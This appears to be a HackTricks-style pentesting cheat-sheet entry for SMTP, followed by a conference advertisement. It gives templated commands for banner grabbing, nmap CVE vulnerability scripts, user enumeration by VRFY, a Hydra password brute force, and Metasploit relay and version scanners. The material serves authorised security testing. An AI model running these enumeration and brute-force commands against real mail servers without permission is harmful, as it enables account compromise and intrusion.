Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.xyz/pentesting/pentesting-smtp

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'

DragonJAR Security Conference是一场国际网络安全活动将于2023年9月7日至8日在哥伦比亚波哥大举行。这是一场内容丰富的技术活动展示了最新的西班牙语研究成果吸引了来自世界各地的黑客和研究人员。
立即在以下链接注册,不要错过这个重要的会议!:

{% embed url="https://www.dragonjarcon.org/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥